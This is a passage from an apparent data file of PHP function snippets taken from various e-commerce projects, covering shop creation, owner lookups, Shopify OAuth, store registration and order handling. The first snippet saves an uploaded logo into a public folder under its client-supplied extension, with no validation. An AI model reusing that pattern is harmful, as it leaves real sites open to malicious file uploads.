, 400);\n }\n \t$owner_id = $contentResponse->data->id;\n\n $shop = new Shop;\n $shop->name =$this->checkParam($request->name);\n if (isset($request->flour)) {\n $shop->flour =$this->checkParam($request->flour);\n }\n \n $shop->open_time =$this->checkParam($request->open_time);\n $shop->close_time =$this->checkParam($request->close_time);\n $shop->shop_status_id =$this->checkParam($request->shop_status_id);\n if (isset($request->sale)) {\n $shop->sale =$this->checkParam($request->sale);\n }\n if (isset($request->min_order_cost)) {\n $shop->min_order_cost =$this->checkParam($request->min_order_cost);\n }\n \n $shop->mall_id =$this->checkParam($request->mall_id);\n $shop->owner_id =$owner_id;\n\n if (isset($request->lat)) {\n $shop->lat =$this->checkParam($request->lat);\n }\n if (isset($request->lng)) {\n $shop->lng =$this->checkParam($request->lng);\n }\n if ($shop_phone) {\n $shop->shop_phone =$shop_phone;\n }\n\n if(isset($request->logo) && !empty($request->logo)){\n\n if ($request->hasFile('logo')) {\n $image = $request->file('logo');\n $input['imagename'] = time().'.'.$image->getClientOriginalExtension();\n $dest = public_path('/images');\n $image->move($dest, $input['imagename']);\n $shop->logo = $input['imagename'];\n }\n }\n\n \n\n\n $shop->save();\n return response()->json(['status' => 'success' , 'message' => 'OK', 'data' => $shop] , 200); \n }", "public function index()\n\t{\n\t\t//Get all the products sale info from product tracker table\n\t\t$products = ProductTracker::lists('product_code');\n\n\t\tif(sizeof($products) == 0)\n\t\t{\n\t\t\treturn View::make('owners.index', compact('data'));\n\t\t}\n\n\t\t$i = 1;\n\n\t\tforeach ($products as $product)\n\t\t{\n\t\t\t$data[$i]['product_code'] \t= $product;\n\n\t\t\t$data[$i]['lc_number'] \t\t= Product::where('product_code',$product)\n\t\t\t\t\t\t\t\t\t\t\t->lists('lc_number');\n\n\t\t\tif(sizeof($data[$i]['lc_number']))\n\t\t\t{\n\t\t\t\t$data[$i]['lc_date'] = \tLc::whereIn('lc_number',$data[$i]['lc_number'])\n\t\t\t\t\t\t\t\t\t\t\t->orderBy('lc_number')\n\t\t\t\t\t\t\t\t\t\t\t->lists('lc_date');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$data[$i]['lc_date'] = null;\n\t\t\t}\n\n\n\t\t\t$data[$i]['unit_size'] = Product::where('product_code',$product)->pluck('unit_product_size');\n\n\t\t\t$data[$i]['unit_cost'] = Product::where('product_code',$product)->lists('unit_product_cost');\n\n\t\t\t$total = Product::where('product_code',$product)->sum('quantity')-Product::where('product_code',$product)->sum('wastage_before_stock');\n\n\t\t\t$sold_till_now = ProductTracker::where('product_code',$product)->pluck('total_sold_unit')+ProductTracker::where('product_code',$product)->pluck('wastage_after_stock');\n\n\t\t\t$data[$i]['current_stock'] \t= $total - $sold_till_now;\n\n\t\t\t$data[$i]['total'] \t\t\t= $total;\n\n\t\t\t$data[$i]['sold_till_now'] \t= $sold_till_now;\n\n\t\t\t$data[$i]['buy_rate'] \t\t= DB::table('owner_calculation')\n\t\t\t\t\t\t\t\t\t\t\t->where('product_code',$product)\n\t\t\t\t\t\t\t\t\t\t\t->pluck('buy_rate');\n\n\t\t\tif(is_null($data[$i]['buy_rate']))\n\t\t\t{\n\t\t\t\t$data[$i]['buy_rate'] = 0.00;\n\t\t\t}\n\n\t\t\t$data[$i]['total_sale'] = DB::table('owner_calculation')\n\t\t\t\t\t\t\t\t\t\t->where('product_code',$product)\n\t\t\t\t\t\t\t\t\t\t->pluck('total_sale');\n\n\t\t\tif(is_null($data[$i]['total_sale']))\n\t\t\t{\n\t\t\t\t$data[$i]['tota_sale'] = 0.00;\n\t\t\t}\n\n\t\t\t$i++;\n\t\t}\n\n\t\treturn View::make('owners.index', compact('data'));\n\t}", "public function get_shopify_merchant_info(){\n \n $code = $this->input->get('code');\n $hmac = $this->input->get('hmac');\n\n $api_key = $this->config->item('shopify_api_key');\n $api_secret = $this->config->item('shopify_api_secret');\n $shop = $this->input->get('shop');\n\n $this->session->set_userdata('shop', $shop);\n\n //check if store is already registered or not\n $store_exist = $this->store->check_store_exist_by_domain($shop);\n\n //save the shop info into the table\n ////Load shopify API related files \n ///// call shopify API to get access(offline) token /////\n $shopifyClient = new ShopifyClient($shop, \"\", $api_key, $api_secret);\n $access_data = $shopifyClient->getAccessToken($code);\n\n if ($store_exist > 0){\n //get the shop token access data\n $response = $this->store->get_store_info_by_domain($shop);\n\n //update the access token\n $dataArray = array('key' => $access_data['access_token'], 'app_status' => '1');\n $this->store->update_store_info($shop, $dataArray);\n\n //get the shop token access data\n $response = $this->store->get_store_info_by_domain($shop);\n $this->register_uninstall_webhook();\n\n if ($response['app_status'] == '0'){\n $this->register_uninstall_webhook();\n\n ///Redirect to the app dashboard for first time users/// \n $redirect_url = \"https://\".$shop.\"/admin/apps/shoptrade-app\";\n redirect($redirect_url, 'location');\n die();\n }\n\n }else{\n \n //Shopify client call to fetch merchant info\n $sc_shop = new ShopifyClient($shop, $access_data['access_token'], $api_key, $api_secret);\n\n // Get shop info \n $shop_info = $sc_shop->call('GET', '/admin/shop.json');\n $shop_info['tokens']= $access_data;\n \n //save shop info\n $result = $this->store->save_store_info($shop_info);\n \n $response = array(\n 'shop' => $shop_info['domain'],\n 'store_id' => $shop_info['id'],\n 'access_token' => $access_data['access_token'],\n 'email' => $shop_info['email'],\n 'shop_owner' => $shop_info['shop_owner']\n );\n\n $this->register_uninstall_webhook();\n \n $redirect_url = \"https://\".$shop.\"/admin/apps/shoptrade-app\";\n redirect($redirect_url, 'location');\n die();\n \n }\n\n //$this->user_activity();\n $this->dashboard();\n }", "private function generateOwnerSchema()\n {\n $owner = $this->generalSettings->get('company_or_person')->value();\n\n if ($owner->value() === 'person') {\n $siteOwner = new Person(\n collect([\n '@id' => $this->site->absoluteUrl() . SchemaIds::PERSON,\n 'name' => $this->generalSettings->get('target_name'),\n 'url' => $this->site->absoluteUrl(),\n 'sameAs' => $this->getSameAs(),\n ])\n );\n } else {\n $siteOwner = new Organization(\n $this->context->get('site'),\n $this->generalSettings\n );\n }\n\n return $siteOwner->generate();\n }", "public function createStore($shop)\n {\n // Require only on this function to not overload memory with unneeded classes\n require_once _PS_MODULE_DIR_ . 'doofinder/lib/EasyREST.php';\n $client = new EasyREST();\n $apikey = Configuration::getGlobalValue('DF_AI_APIKEY');\n $admin_endpoint = Configuration::getGlobalValue('DF_AI_ADMIN_ENDPOINT');\n $languages = Language::getLanguages(true, $shop['id_shop']);\n $currencies = Currency::getCurrenciesByIdShop($shop['id_shop']);\n $shopId = $shop['id_shop'];\n $shopGroupId = $shop['id_shop_group'];\n $primary_lang = new Language(Configuration::get('PS_LANG_DEFAULT', null, $shopGroupId, $shopId));\n $installationID = null;\n $callbacksUrls = [];\n\n $this->setDefaultShopConfig($shopGroupId, $shopId);\n\n $shop_url = $this->getShopURL($shopId);\n $store_data = [\n 'name' => $shop['name'],\n 'platform' => 'prestashop',\n 'primary_language' => $primary_lang->language_code,\n 'search_engines' => [],\n 'sector' => '',\n ];\n\n foreach ($languages as $lang) {\n foreach ($currencies as $cur) {\n if ($cur['deleted'] == 1) {\n continue;\n }\n $ciso = $cur['iso_code'];\n $lang_code = $lang['language_code'];\n $feed_url = $this->buildFeedUrl($shopId, $lang['iso_code'], $ciso);\n $store_data['search_engines'][] = [\n 'name' => $shop['name'] . ' | Lang:' . $lang['iso_code'] . ' Currency:' . strtoupper($ciso),\n 'language' => $lang_code,\n 'currency' => $ciso,\n 'site_url' => $shop_url,\n 'stopwords' => false,\n 'datatypes' => [\n [\n 'name' => 'product',\n 'preset' => 'product',\n 'datasources' => [\n [\n 'options' => [\n 'url' => $feed_url,\n ],\n 'type' => 'file',\n ],\n ],\n 'options' => [\n 'exclude_out_of_stock_items' => false,\n 'group_variants' => false,\n ],\n ],\n ],\n ];\n $callbacksUrls[$lang_code][$ciso] = $this->getProcessCallbackUrl();\n }\n }\n $store_data['callback_urls'] = $callbacksUrls;\n\n $json_store_data = json_encode($store_data);\n $this->debug('Create Store Start');\n $this->debug(print_r($store_data, true));\n\n $response = $client->post(\n 'https://' . $admin_endpoint . '/plugins/create-store',\n $json_store_data,\n false,\n false,\n 'application/json',\n ['Authorization: Token ' . $apikey]\n );\n\n if ($response->getResponseCode() == 200) {\n $response = json_decode($response->response, true);\n $installationID = @$response['installation_id'];\n $this->debug('Create Store response:');\n $this->debug(print_r($response, true));\n\n if ($installationID) {\n $this->debug(\"Set installation ID: $installationID\");\n Configuration::updateValue('DF_INSTALLATION_ID', $installationID, false, $shopGroupId, $shopId);\n Configuration::updateValue('DF_ENABLED_V9', true, false, $shopGroupId, $shopId);\n $this->setSearchEnginesByConfig();\n } else {\n $this->debug('Invalid installation ID');\n exit('ko');\n }\n } else {\n $error_msg = \"Create Store failed with code {$response->getResponseCode()} and message '{$response->getResponseMessage()}'\";\n $response_msg = 'Response: ' . print_r($response->response, true);\n $this->debug($error_msg);\n $this->debug($response_msg);\n echo $response->response;\n exit;\n }\n }", "public function setShopifyData(stdClass $data) {\n if (isset($data->{static::getResourceSingularName()})) {\n /*\n * If we received data in the form:\n * {\n * \"product\": {\n * ...\n * }\n * }\n * we'll extract the resource object (in this example, product)\n */\n $this->shopifyData = $data->{static::getResourceSingularName()};\n } else {\n // otherwise let's assume we got the resource object directly\n $this->shopifyData = $data;\n }\n $this->populateChildren();\n }", "public function getShop() {\n return $this->request(\n \"GET\",\n \"/application/users/{$this->user_id}/shops\",\n \"Shop\"\n );\n }", "public function form_dropship_information()\n {\n $required_name = true;\n $required_phone = false;\n\n if (is_admin()) {\n $screen = get_current_screen();\n if (!is_null($screen) && $screen->id == 'shop_order') {\n global $post;\n\n $dropship_name = get_post_meta($post->ID, '_topdrop_dropship_name', true);\n $dropship_phone = get_post_meta($post->ID, '_topdrop_dropship_phone', true);\n }\n } else {\n $dropship_name = get_user_meta($this->user_id, 'topdrop_dropship_name', true);\n $dropship_phone = get_user_meta($this->user_id, 'topdrop_dropship_phone', true);\n }\n\n return apply_filters('form_dropship_information', array(\n 'topdrop_name' => array(\n 'field' => array(\n 'type' => 'text',\n 'label' => __('Name', 'topdrop'),\n 'placeholder' => __('', 'topdrop'),\n 'required' => $required_name,\n 'class' => array('woocommerce-form-row', 'form-row-first')\n ),\n 'value' => $dropship_name\n ),\n 'topdrop_phone' => array(\n 'field' => array(\n 'type' => 'tel',\n 'label' => __('Phone', 'topdrop'),\n 'placeholder' => __('', 'topdrop'),\n 'required' => $required_phone,\n 'class' => array('woocommerce-form-row', 'form-row-last')\n ),\n 'value' => $dropship_phone\n ),\n ));\n }", "public function getShopId()\n {\n return $this->metaRefreshValues['shopid'];\n }", "function Product() {\r\n\t\treturn $this->owner;\r\n\t}", "protected function _preAssignObject($oShopObject, $aData, $blAllowCustomShopId)\n {\n /*\n if (isset($aData['OXSHOPID'])) {\n $aData['OXSHOPID'] = 'oxbaseshop';\n }\n\n */\n\n if (isset($aData['OXSHOPID'])) {\n $aData['OXSHOPID'] = oxRegistry::getConfig()->getShopId();\n }\n\n if (!isset($aData['OXID'])) {\n $aData['OXID'] = $this->getOxidFromKeyFields($aData);\n }\n\n // null values support\n foreach ($aData as $key => $val) {\n if (!strlen((string) $val)) {\n // oxbase whill quote it as string if db does not support null for this field\n $aData[$key] = null;\n }\n }\n\n return $aData;\n }", "function convert_transaction_detail( &$obj )\n\t{\n\n\t\t// shop object\n\t\tif ( isset( $obj->shop_id )) {\n\t\t\t$tmp_shop = $this->CI->Shop->get_one( $obj->shop_id );\n\n\t\t\t$this->convert_shop( $tmp_shop );\n\n\t\t\t$obj->shop = $tmp_shop;\n\t\t}\n\t\t\n\t}", "public function prepareData() {\r\n $sections = GearSection::getAll($this->id_shop);\r\n $this->smarty->assign('sections', $sections);\r\n $data = array();\r\n foreach($sections as $section) {\r\n $opts = GearOption::getBySection($section->id, $this->id_shop);\r\n $std = new stdClass();\r\n $std->id = $section->id;\r\n $std->name = $section->name;\r\n $std->label = $section->label;\r\n $std->options = $opts;\r\n array_push($data, $std);\r\n }\r\n \r\n if ($this->imported) { // generate css after import\r\n require_once 'classes/FrontStyle.php';\r\n FrontStyle::generateGearCss($data);\r\n }\r\n \r\n return $data;\r\n }", "protected function _transformSforceData() {\n if ($this->generateCN) {\n $this->sforceData['FullName'] = $this->sforceData['FirstName'] . ' ' . $this->sforceData['LastName'];\n }\n \n if ($this->generateUid) {\n $this->sforceData['ldapUid'] = strtolower(substr($this->sforceData['FirstName'], 0, 1) . $this->sforceData['LastName']);\n }\n \n return true;\n }", "protected function getShopAddress()\n\t{\n\t\t$shop_address = '';\n\t\tif (Validate::isLoadedObject(Context::getContext()->shop))\n\t\t{\n\t\t\t$shop_address_obj = Context::getContext()->shop->getAddress();\n\t\t\tif (isset($shop_address_obj) && $shop_address_obj instanceof Address)\n\t\t\t\t$shop_address = AddressFormat::generateAddress($shop_address_obj, array(), ' - ', ' ');\n\t\t\treturn $shop_address;\n\t\t}\n\n\t\treturn $shop_address;\n\t}", "protected function _applyObjectProperty()\n\t{\n\t\tparent::_applyObjectProperty();\n\n\t\t$modelName = $this->_object->getModelName();\n\n\t\tswitch ($modelName)\n\t\t{\n\t\t\tcase 'shop_discount':\n\t\t\t\t// Скидка не может быть больше 100%\n\t\t\t\tif ($this->_object->type == 0 && $this->_object->value > 100)\n\t\t\t\t{\n\t\t\t\t\t$this->_object->value = 0;\n\t\t\t\t\t$this->_object->save();\n\n\t\t\t\t\t$this->addMessage(\n\t\t\t\t\t\tCore_Message::get(Core::_('Shop_Discount.percent_error'), 'error')\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t// Группа доступа\n\t\t\t\t$aSiteuser_Groups = array(0 => Core::_('Structure.all'));\n\n\t\t\t\tif (Core::moduleIsActive('siteuser'))\n\t\t\t\t{\n\t\t\t\t\t$oSiteuser_Controller_Edit = new Siteuser_Controller_Edit($this->_Admin_Form_Action);\n\t\t\t\t\t$aSiteuser_Groups = $aSiteuser_Groups + $oSiteuser_Controller_Edit->fillSiteuserGroups($this->_object->Shop->site_id);\n\t\t\t\t}\n\n\t\t\t\t$aTmp = array();\n\n\t\t\t\t$aShop_Discount_Siteuser_Groups = $this->_object->Shop_Discount_Siteuser_Groups->findAll(FALSE);\n\t\t\t\tforeach ($aShop_Discount_Siteuser_Groups as $oShop_Discount_Siteuser_Group)\n\t\t\t\t{\n\t\t\t\t\t!in_array($oShop_Discount_Siteuser_Group->siteuser_group_id, $aTmp)\n\t\t\t\t\t\t&& $aTmp[] = $oShop_Discount_Siteuser_Group->siteuser_group_id;\n\t\t\t\t}\n\n\t\t\t\tforeach ($aSiteuser_Groups as $siteuser_group_id => $name)\n\t\t\t\t{\n\t\t\t\t\t$bSiteuserGroupChecked = Core_Array::getPost('siteuser_group_' . $siteuser_group_id);\n\n\t\t\t\t\tif ($bSiteuserGroupChecked)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (!in_array($siteuser_group_id, $aTmp))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t$oShop_Discount_Siteuser_Group = Core_Entity::factory('Shop_Discount_Siteuser_Group');\n\t\t\t\t\t\t\t$oShop_Discount_Siteuser_Group->siteuser_group_id = $siteuser_group_id;\n\t\t\t\t\t\t\t$this->_object->add($oShop_Discount_Siteuser_Group);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif (in_array($siteuser_group_id, $aTmp))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$oShop_Discount_Siteuser_Group = $this->_object->Shop_Discount_Siteuser_Groups->getObject($this->_object, $siteuser_group_id);\n\n\t\t\t\t\t\t\t!is_null($oShop_Discount_Siteuser_Group)\n\t\t\t\t\t\t\t\t&& $oShop_Discount_Siteuser_Group->delete();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tCore_Event::notify(get_class($this) . '.onAfterRedeclaredApplyObjectProperty', $this, array($this->_Admin_Form_Controller));\n\n\t\treturn $this;\n\t}", "function setCategory($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n}", "public function index(Request $r) {\n $shop_owner = $r->session()->get('shop_owner');\n if($shop_owner==NULL)\n {\n return redirect('/shop-owner/login');\n }\n $data['shop'] = DB::table('shops')\n ->where('shops.shop_owner_id', $shop_owner->id)\n ->where('active',1)->first();\n\n $shop_owner_id = session('shop_owner')->id;\n $data['packages'] = DB::table('packages')->where('active', 1)->get();\n $data['counter'] = DB::table('subscriptions')->where('shop_owner_id', $shop_owner_id)\n ->where('active', 1)->count();\n $data['subscription'] = DB::table('subscriptions')\n ->join('packages', 'subscriptions.package_id', \"packages.id\")\n ->where('subscriptions.active', 1)\n ->where('subscriptions.shop_owner_id', $shop_owner_id)\n ->select('subscriptions.*', 'packages.name', 'packages.type')\n ->first();\n $data['product_count'] = DB::table('products')\n ->join('shops', 'products.shop_id' , '=', 'shops.id')\n ->join('shop_owners', 'shop_owners.id', '=', 'shops.shop_owner_id')\n ->where('shop_owner_id', $shop_owner_id)\n ->where('products.active', 1)\n ->count();\n return view('fronts.shop_owner.index', $data);\n }", "public function updateShopAccountForm()\n {\n // get fields\n $fields = $this->owner->Fields();\n // remove PayWay customer number from shop account page (auto-generated!)\n $fields->removeByName('PaywayCustomerNumber');\n }", "public function get_store_info() : array {\n\t\t$store_element = $this->dom->find( '.shop-name' );\n\t\tif ( ! $store_element ) {\n\t\t\treturn [ 'store' => [] ];\n\t\t}\n\n\t\t$anchor = $store_element[0]->find( 'a' );\n\t\t$url = $anchor[0]->getAttribute( 'href' );\n\t\tif ( 0 === stripos( $url, '//' ) ) {\n\t\t\t$url = 'https:' . $url;\n\t\t}\n\n\t\treturn [\n\t\t\t'store' => [\n\t\t\t\t'name' => sanitize_text_field( $anchor[0]->text() ),\n\t\t\t\t'url' => esc_url_raw( $url ),\n\t\t\t],\n\t\t];\n\t}", "protected function ShopOwnerValidator(array $data)\n {\n return Validator::make($data, [\n 'ShopId' => ['required', 'integer'],\n 'OwnerId' => ['required', 'integer'],\n ]);\n }", "protected function _prepareCollection()\n {\n $collection = Mage::getResourceModel($this->_getCollectionClass());\n\t\t//$collection->getSelect()->joinLeft(array('st' => 'core_store'),'main_table.SiteID = st.store_id',array('storename' => 'st.name'));\n $this->setCollection($collection);\n \n return parent::_prepareCollection();\n }", "public function getProductOwner()\n {\n return $this->productOwner;\n }", "function setArticle($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n}", "public function store(Request $request)\n {\n {\n $client = Member::find($request->client);\n $divisi = [];\n $sales = [\n 'name' => $client['sales'][0]['name'],\n 'detail' => $client['sales'][0]['detail'][count($client['sales'][0]['detail']) - 1],\n ];\n\n if (isset($request->divisi)) {\n $get_divisi = $client['divisi'][(int)$request->divisi];\n $get_divisi['index'] = (int)$request->divisi;\n $divisi = [\n $get_divisi,\n ];\n $sales = [\n '_id' => $client['divisi'][(int) $request->divisi]['sales'][0]['_id'],\n 'name' => $client['divisi'][(int) $request->divisi]['sales'][0]['name'],\n 'detail' => $client['divisi'][(int) $request->divisi]['sales'][0]['detail'][0],\n ];\n }\n\n $so = new SalesOrder();\n $so->code = $this->generateSO();\n $so->client = [\n $client->toArray(),\n ];\n $so->sales = [$sales];\n $so->divisi = $divisi;\n $so->billing = $request->billing;\n $so->shipping = $client['shipping_address'][(int) $request->shipping]['address'];\n $so->TOP = $request->TOP;\n\n if ($request->whiteLabel == ''){\n $so->white_label = 'Tidak';\n }else{\n $so->white_label = 'Ya';\n }\n\n $deliverys=Carriers::where('_id', $request->delivery)->get();\n $so->delivery = $deliverys->toArray();\n\n if ($request->packkayu == '') {\n $so->pack_kayu = 'Tidak';\n }else{\n $so->pack_kayu = 'Ya';\n /*$so->pack_kayu = $request->packkayu;*/\n }\n\n $so->notes = $request->notes;\n $arrProduct = [];\n $total_kg = 0;\n $total_realisasi = 0;\n foreach ($request->arrProduct as $key) {\n $product = Product::find($request->input('product' . $key));\n $total_kg = $total_kg + (((double) $request->input('total' . $key)) * 1000);\n $total_realisasi = $total_realisasi + (((double) $request->input('realisasi' . $key)) * 1000);\n $arrProduct[] = [\n \"product_id\" => $product['_id'],\n \"name\" => $product['name'] . \" - \" . $product['type'],\n \"product_detail\" => [$product->toArray()],\n \"package\" => $request->input('package' . $key),\n \"quantity\" => $request->input('quantity' . $key),\n \"weight\" => (double) $request->input('weight' . $key),\n \"total\" => ((double) $request->input('total' . $key)) * 1000,\n \"realisasi\" => ((double) $request->input('realisasi' . $key)) * 1000,\n \"tunggu\" => null,\n \"petugas_produksi\" => null,\n \"petugas_qc\" => null,\n \"status_produksi\" => null,\n \"mulai_proses\"=>null,\n \"selesai_proses\"=>null,\n \"tgl_pass\"=>null,\n \"tgl_reject\"=>null,\n \"note_reject\"=>null\n ];\n }\n $so->products = $arrProduct;\n $so->total_product = count($request->arrProduct);\n $so->total_kg = $total_kg;\n $so->total_realisasi = $total_realisasi;\n\n /*$checks=user::where('_id', $request->check)->get();\n $so->check=$checks->toArray();\n\n $produksis=user::where('_id', $request->produksi)->get();\n $so->produksi=$produksis->toArray();*/\n\n $so->status = \"order\";\n\n $so->save();\n\n if($request->targetUrl){\n return redirect('/')->with('toastr', 'order');\n }else{\n return redirect()->route('sales-order.index')->with('toastr', 'order');\n }\n\n /*return dd($so);*/\n }\n }", "public function beforeSave() {\n $this->owner->{$this->column} = Yii::$app->db->createCommand(\"SELECT UUID()\")->queryScalar();\n }", "public function store(CreateShopRequest $request)\n {\n \\DB::beginTransaction();\n $input = $request->all();\n if (auth()->user()->hasRole(['manager','client'])) {\n $input['users'] = [auth()->id()];\n }\n $customFields = $this->customFieldRepository->findByField('custom_field_model', $this->shopRepository->model());\n try {\n $shop = $this->shopRepository->create($input);\n foreach($input['shopCategory'] as $shopCategory){\n $this->shopCategoryShopRepository->create(array(\n 'shop_id' => $shop->id,\n 'shop_category_id' => $shopCategory\n ));\n }\n $shop->customFieldsValues()->createMany(getCustomFieldsValues($customFields, $request));\n if (isset($input['image']) && $input['image']) {\n $cacheUpload = $this->uploadRepository->getByUuid($input['image']);\n $mediaItem = $cacheUpload->getMedia('image')->first();\n $mediaItem->copy($shop, 'image');\n }\n event(new ShopChangedEvent($shop, $shop));\n \\DB::commit();\n } catch (ValidatorException $e) {\n \\DB::rollBack();\n Flash::error($e->getMessage());\n }\n\n Flash::success(__('lang.saved_successfully', ['operator' => __('lang.shop')]));\n\n return redirect(route('shops.index'));\n }", "public static function add_vendor_info_in_product_summery() {\n include_once dirname( __FILE__ ) . '/templates/vendor-info.php';\n }", "protected function setOwner($owner) {\r\n $this->owner = $this->create($owner);\r\n }", "function setVako($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n /* you can itentify the article with $object->reference->ShopId */ \n}", "protected function _getVendorCollection()\n {\n if (is_null($this->_vendorCollection)) {\n $queryText = $this->getQueryText();\n $vendorShoptable = $this->_resourceConnection->getTableName('ced_csmarketplace_vendor_shop');\n $this->_vendorCollection = $this->_collectionFactory->create();\n $this->_vendorCollection->addAttributeToSelect('*');\n //$this->_vendorCollection->getSelect()->join(['vendor_shop' => $vendorShoptable], 'e.entity_id=vendor_shop.vendor_id AND vendor_shop.shop_disable=' . Vshop::ENABLED, ['shop_disable']);\n\n $this->_vendorCollection->addAttributeToFilter('meta_keywords', ['like' => '%' . $queryText . '%']);\n if ($this->_csmarketplaceHelper->isSharingEnabled()) {\n $this->_vendorCollection->addAttributeToFilter('website_id', $this->_storeManager->getStore()->getWebsiteId());\n }\n\n if ($this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::MODULE_ENABLE)) {\n //------------------- Custom Filter----------------[START]\n\n $savedLocationFromSession = $this->_hyperlocalHelper->getShippingLocationFromSession();\n $filterType = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_TYPE);\n $radiusConfig = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_RADIUS);\n $distanceType = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::DISTANCE_TYPE);\n $apiKey = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::API_KEY);\n $filterProductsBy = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_PRODUCTS_BY);\n\n if ($filterProductsBy == 'vendor_location' || $filterType == 'distance') {\n $vendorIds = [0];\n if ($savedLocationFromSession) {\n\n /** Filter Products By Vendor Location */\n if ($filterType == 'city_state_country') {\n\n //------------------- Filter By City,country & state----------------[START]\n $locationCollection = $this->_hyperlocalHelper->getFilteredlocationByCityStateCountry($savedLocationFromSession);\n if ($locationCollection) {\n $vendorIds = $locationCollection->getColumnValues('vendor_id');\n }\n\n //------------------- Filter By City,country & state----------------[END]\n } elseif ($filterType == 'zipcode' && isset($savedLocationFromSession['filterZipcode'])) {\n\n //------------------- Filter By Zipcode----------------[START]\n $resource = $this->_resourceConnection;\n $tableName = $resource->getTableName('ced_cshyperlocal_shipping_area');\n $this->zipcodeCollection->getSelect()->joinLeft($tableName, 'main_table.location_id = ' . $tableName . '.id', ['status', 'is_origin_address']);\n $this->zipcodeCollection->addFieldToFilter('main_table.zipcode', $savedLocationFromSession['filterZipcode'])\n ->addFieldToFilter('status', Shiparea::STATUS_ENABLED);\n $this->zipcodeCollection->getSelect()->where(\"`is_origin_address` IS NULL OR `is_origin_address` = '0'\");\n $vendorIds = $this->zipcodeCollection->getColumnValues('vendor_id');\n //------------------- Filter By Zipcode----------------[END]\n } elseif ($filterType == 'distance') {\n $tolat = $savedLocationFromSession['latitude'];\n $tolong = $savedLocationFromSession['longitude'];\n $vIds = [];\n if ($tolat != '' && $tolong != '') {\n $vendorCollection = $this->_collectionFactory->create();\n $vendorCollection->addAttributeToSelect('*');\n if ($vendorCollection->count()) {\n foreach ($vendorCollection as $vendor) {\n $distance = $this->_hyperlocalHelper->calculateDistancebyHaversine($vendor->getLatitude(), $vendor->getLongitude(), $tolat, $tolong);\n if ($distance <= $radiusConfig) {\n $vendorIds[] = $vendor->getId();\n }\n }\n }\n }\n }\n $this->_vendorCollection->addAttributeToFilter('entity_id', ['in' => $vendorIds]);\n }\n }\n //------------------- Custom Filter ----------------[END]\n }\n\n $this->prepareSortableFields();\n }\n return $this->_vendorCollection;\n }", "public function getCreatedBy($data)\n {\n return $this->user->find($data['userId'])->promoOwnerships;\n }", "public function getShop()\n {\n return $this->get(self::_SHOP);\n }", "public function getShop()\n {\n return $this->get(self::_SHOP);\n }", "private static function _cookData($data) {\n\t\t$tmp = array();\n\t\tif(isset($data['id'])) $tmp['id'] = intval($data['id']);\n\t\tif(isset($data['sort'])) $tmp['sort'] = intval($data['sort']);\n\t\tif(isset($data['category_id'])) $tmp['category_id'] = intval($data['category_id']);\n\t\tif(isset($data['type'])) $tmp['type'] = intval($data['type']);\n\t\tif(isset($data['gift_num_type'])) $tmp['gift_num_type'] = $data['gift_num_type'];\n\t\tif(isset($data['total_num'])) $tmp['total_num'] = intval($data['total_num']);\n\t\tif(isset($data['preson_limit_num'])) $tmp['preson_limit_num'] = $data['preson_limit_num'];\n\t\tif(isset($data['remaind_num'])) $tmp['remaind_num'] = $data['remaind_num'];\n\t\tif(isset($data['consume_point'])) $tmp['consume_point'] = $data['consume_point'];\n\t\tif(isset($data['discountArr'])) $tmp['discountArr'] = $data['discountArr'];\n\t\tif(isset($data['game_object'])) $tmp['game_object'] = $data['game_object'];\n\t\tif(isset($data['game_ids'])) $tmp['game_ids'] = $data['game_ids'];\n\t\tif(isset($data['title'])) $tmp['title'] = $data['title'];\n\t\tif(isset($data['exchange_rule'])) $tmp['exchange_rule'] = $data['exchange_rule'];\n\t\tif(isset($data['descrip'])) $tmp['descrip'] = $data['descrip'];\n\t\tif(isset($data['img'])) $tmp['img'] = $data['img'];\n\t\tif(isset($data['icon'])) $tmp['icon'] = $data['icon'];\n\t\tif(isset($data['status'])) $tmp['status'] = $data['status'];\n\t\tif(isset($data['start_time'])) $tmp['start_time'] = $data['start_time'];\n\t\tif(isset($data['end_time'])) $tmp['end_time'] = $data['end_time'];\n\t\tif(isset($data['create_time'])) $tmp['create_time'] = intval($data['create_time']);\n\t\tif(isset($data['effect_time'])) $tmp['effect_time'] = intval($data['effect_time']);\n\t\treturn $tmp;\n\t}", "public function getShop()\n {\n return $this->get(self::_SHOP);\n }", "public function getOwner() {}", "public function getOwner() {}", "public function getOwner() {}", "public function getOwner() {}", "function convert_shop_rating( &$obj )\n\t{\n\t\t// set user object\n\t\tif ( isset( $obj->user_id )) {\n\t\t\t$tmp_user = $this->CI->User->get_one( $obj->user_id );\n\n\t\t\t$this->convert_user( $tmp_user );\n\n\t\t\t$obj->user = $tmp_user;\n\t\t}\n\t}", "function display_sku_as_meta_data( $item, $order ) {\n\t\t\t$product = BEWPI_WC_Order_Compatibility::get_product( $order, $item );\n\t\t\t$sku = $product && BEWPI_WC_Product_Compatibility::get_prop( $product, 'sku' ) ? BEWPI_WC_Product_Compatibility::get_prop( $product, 'sku' ) : '-';\n\t\t\t?>\n\t\t\t<br>\n\t\t\t<ul>\n\t\t\t\t<li>\n\t\t\t\t\t<strong><?php esc_html_e( 'SKU:', 'woocommerce-pdf-invoices' ); ?></strong> <?php echo esc_html( $sku ); ?>\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t\t<?php\n\t\t}", "public function showAdminshopinfosAction()\n {\n $shopinfosManager = new ShopinfosManager();\n $shopinfos = $shopinfosManager->getAllShopinfos();\n return $this->twig->render('admin/adminshopinfos.html.twig', array(\n 'shopinfos' => $shopinfos\n ));\n }", "public function store(Request $request)\n {\n \n \t //dd($request->user()->id);\n \t//dd($request->shop_id);\n \t//return an instance of 